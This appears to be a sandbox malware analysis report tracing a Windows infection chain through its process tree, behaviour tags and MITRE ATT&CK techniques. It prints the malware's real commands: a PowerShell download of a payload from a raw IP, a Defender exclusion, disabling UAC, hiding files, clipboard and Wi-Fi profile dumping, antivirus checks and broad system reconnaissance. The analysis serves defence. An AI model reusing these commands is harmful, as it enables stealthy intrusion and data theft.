PID 1632 wrote to memory of 3664	1632	lumma1234.exe	RegAsm.exe
PID 1632 wrote to memory of 3664	1632	lumma1234.exe	RegAsm.exe
PID 4428 wrote to memory of 4872	4428	axplont.exe	gold.exe
PID 4428 wrote to memory of 4872	4428	axplont.exe	gold.exe
PID 4428 wrote to memory of 4872	4428	axplont.exe	gold.exe
PID 4872 wrote to memory of 3748	4872	gold.exe	RegAsm.exe
PID 4872 wrote to memory of 3748	4872	gold.exe	RegAsm.exe
PID 4872 wrote to memory of 3748	4872	gold.exe	RegAsm.exe
PID 4872 wrote to memory of 3748	4872	gold.exe	RegAsm.exe
PID 4872 wrote to memory of 3748	4872	gold.exe	RegAsm.exe
PID 4872 wrote to memory of 3748	4872	gold.exe	RegAsm.exe
PID 4872 wrote to memory of 3748	4872	gold.exe	RegAsm.exe
PID 4872 wrote to memory of 3748	4872	gold.exe	RegAsm.exe
PID 4872 wrote to memory of 3748	4872	gold.exe	RegAsm.exe
PID 4428 wrote to memory of 4348	4428	axplont.exe	swizzzz.exe
PID 4428 wrote to memory of 4348	4428	axplont.exe	swizzzz.exe
PID 4428 wrote to memory of 4348	4428	axplont.exe	swizzzz.exe
PID 4348 wrote to memory of 3016	4348	swizzzz.exe	RegAsm.exe
PID 4348 wrote to memory of 3016	4348	swizzzz.exe	RegAsm.exe
PID 4348 wrote to memory of 3016	4348	swizzzz.exe	RegAsm.exe
PID 4348 wrote to memory of 3016	4348	swizzzz.exe	RegAsm.exe
PID 4348 wrote to memory of 3016	4348	swizzzz.exe	RegAsm.exe
PID 4348 wrote to memory of 3016	4348	swizzzz.exe	RegAsm.exe

System policy modification 1 TTPs 1 IoCs
evasion

Modify Registry
T1112

Processes:

file300un.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file300un.exe
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3088 attrib.exe

pid	process
3088	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3600

C:\Users\Admin\AppData\Local\Temp\8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe
"C:\Users\Admin\AppData\Local\Temp\8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4664

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4536

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
4⤵
PID:2648

C:\Users\Admin\1000004002\2fcfdfb657.exe
"C:\Users\Admin\1000004002\2fcfdfb657.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3804

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
"C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"
5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4428

C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
"C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1436

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
7⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4608

C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1260

C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
8⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:756

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
8⤵
PID:5660

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
9⤵
PID:3960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 260
7⤵
- Program crash
PID:1124

C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
"C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
7⤵
PID:3664

C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
"C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4872

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
7⤵
PID:3748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 284
7⤵
- Program crash
PID:4824

C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
"C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4348

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
7⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:3016

C:\Users\Admin\AppData\Local\Temp\1000038001\buildjudit.exe
"C:\Users\Admin\AppData\Local\Temp\1000038001\buildjudit.exe"
6⤵
- Executes dropped EXE
PID:4684

C:\Users\Admin\AppData\Local\Temp\onefile_4684_133617769482242560\stub.exe
"C:\Users\Admin\AppData\Local\Temp\1000038001\buildjudit.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2040

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ver"
8⤵
PID:3812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
8⤵
PID:1520

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
9⤵
- Suspicious use of AdjustPrivilegeToken
PID:4484

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist"
8⤵
PID:1588

C:\Windows\system32\tasklist.exe
tasklist
9⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3664

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe""
8⤵
PID:3292

C:\Windows\system32\attrib.exe
attrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe"
9⤵
- Views/modifies file attributes
PID:3088

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('%error_message%', 0, 'System Error', 0+16);close()""
8⤵
PID:2872

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
8⤵
PID:4424

C:\Windows\system32\taskkill.exe
taskkill /F /IM chrome.exe
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4496

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
8⤵
PID:4484

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
9⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2872

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
8⤵
PID:3124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Get-Clipboard
9⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4588

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "chcp"
8⤵
PID:1008

C:\Windows\system32\chcp.com
chcp
9⤵
PID:4168

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "chcp"
8⤵
PID:64

C:\Windows\system32\chcp.com
chcp
9⤵
PID:3940

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
8⤵
PID:2340

C:\Windows\system32\netsh.exe
netsh wlan show profiles
9⤵
PID:3480

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
8⤵
PID:4064

C:\Windows\system32\systeminfo.exe
systeminfo
9⤵
- Gathers system information
PID:1692

C:\Windows\system32\HOSTNAME.EXE
hostname
9⤵
PID:8

C:\Windows\System32\Wbem\WMIC.exe
wmic logicaldisk get caption,description,providername
9⤵
- Collects information from the system
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Windows\system32\net.exe
net user
9⤵
PID:4484

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user
10⤵
PID:4324

C:\Windows\system32\query.exe
query user
9⤵
PID:3480

C:\Windows\system32\quser.exe
"C:\Windows\system32\quser.exe"
10⤵
PID:3820

C:\Windows\system32\net.exe
net localgroup
9⤵
PID:4940

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup
10⤵
PID:3584

C:\Windows\system32\net.exe
net localgroup administrators
9⤵
PID:3572

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup administrators
10⤵
PID:3456

C:\Windows\system32\net.exe
net user guest
9⤵
PID:2228

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user guest
10⤵
PID:3664

C:\Windows\system32\net.exe
net user administrator
9⤵
PID:5676

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user administrator
10⤵
PID:5716

C:\Windows\System32\Wbem\WMIC.exe
wmic startup get caption,command
9⤵
PID:5976

C:\Windows\system32\tasklist.exe
tasklist /svc
9⤵
- Enumerates processes with tasklist
PID:6016

C:\Windows\system32\ipconfig.exe
ipconfig /all
9⤵
- Gathers network information
PID:6076

C:\Windows\system32\ROUTE.EXE
route print
9⤵
PID:6108

C:\Windows\system32\ARP.EXE
arp -a
9⤵
PID:6124

C:\Windows\system32\NETSTAT.EXE
netstat -ano
9⤵
- Gathers network information
PID:364

C:\Windows\system32\sc.exe
sc query type= service state= all
9⤵
- Launches sc.exe
PID:5140

C:\Windows\system32\netsh.exe
netsh firewall show state
9⤵
- Modifies Windows Firewall
PID:5268

C:\Windows\system32\netsh.exe
netsh firewall show config
9⤵
- Modifies Windows Firewall
PID:4280

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
8⤵
PID:5840

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
9⤵
PID:3288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
8⤵
PID:5908

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
9⤵
PID:5704

C:\Users\Admin\AppData\Local\Temp\1000039001\smartsoftsignew.exe
"C:\Users\Admin\AppData\Local\Temp\1000039001\smartsoftsignew.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4636

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C cd "C:\Users\Admin\AppData\Local\Temp\putty" & "Smartscreen.bat"
7⤵
PID:4852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://94.103.188.126/jerry/putty.zip', 'C:\Users\Admin\AppData\Local\Temp\putty.zip')"
8⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1568

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.com/26uSj6
8⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2960

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffec15f46f8,0x7ffec15f4708,0x7ffec15f4718
9⤵
PID:4548

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1992,18190884383203883693,2975127742165666165,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2004 /prefetch:2
9⤵
PID:5132

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1992,18190884383203883693,2975127742165666165,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
9⤵
- Suspicious behavior: EnumeratesProcesses
PID:5152

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1992,18190884383203883693,2975127742165666165,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2780 /prefetch:8
9⤵
PID:5180

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,18190884383203883693,2975127742165666165,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
9⤵
PID:5300

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,18190884383203883693,2975127742165666165,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
9⤵
PID:5308

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1992,18190884383203883693,2975127742165666165,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4780 /prefetch:1
9⤵
PID:5732

C:\Windows\SysWOW64\tar.exe
tar -xf putty.zip
8⤵
PID:4156

C:\Users\Admin\AppData\Local\Temp\putty\putty.exe
C:\Users\Admin\AppData\Local\Temp\putty\putty.exe
8⤵
- Executes dropped EXE
PID:1244

C:\Users\Admin\AppData\Local\Temp\1000047001\file300un.exe
"C:\Users\Admin\AppData\Local\Temp\1000047001\file300un.exe"
6⤵
- UAC bypass
- Windows security bypass
- Checks computer location settings
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:1312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000047001\file300un.exe" -Force
7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5556

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
7⤵
PID:5596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 160
8⤵
- Program crash
PID:5868

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
7⤵
PID:1448

C:\Users\Admin\AppData\Local\Temp\1000050001\9a3efc.exe
"C:\Users\Admin\AppData\Local\Temp\1000050001\9a3efc.exe"
6⤵
- Checks computer location settings
- Executes dropped EXE
PID:5224

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k copy Cook Cook.cmd & Cook.cmd & exit
7⤵
PID:5196

C:\Windows\SysWOW64\tasklist.exe
tasklist
8⤵
- Enumerates processes with tasklist
PID:3464

C:\Windows\SysWOW64\findstr.exe
findstr /I "wrsa.exe opssvc.exe"
8⤵
PID:4332

C:\Windows\SysWOW64\tasklist.exe
tasklist
8⤵
- Enumerates processes with tasklist
PID:2876

C:\Windows\SysWOW64\findstr.exe
findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
8⤵
PID:2888

C:\Windows\SysWOW64\cmd.exe
cmd /c md 563203
8⤵
PID:3132

C:\Windows\SysWOW64\findstr.exe
findstr /V "DevelRespectNicoleDisclosure" Terror
8⤵
PID:5456

C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b Delays + Henderson 563203\O
8⤵
PID:5260

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\563203\President.pif
563203\President.pif 563203\O
8⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5896

C:\Windows\SysWOW64\PING.EXE
ping -n 5 127.0.0.1
8⤵
- Runs ping.exe
PID:548

C:\Users\Admin\AppData\Local\Temp\1000051001\newbild.exe
"C:\Users\Admin\AppData\Local\Temp\1000051001\newbild.exe"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5564

C:\Users\Admin\AppData\Local\Temp\1000005001\a04151f4dd.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\a04151f4dd.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:828

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\563203\President.pif
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\563203\President.pif
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:6060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1436 -ip 1436
1⤵
PID:4388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4872 -ip 4872
1⤵
PID:3456

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:64

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5532

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 5596 -ip 5596
1⤵
PID:3748

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2676

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6084

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:944

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery

Virtualization/Sandbox Evasion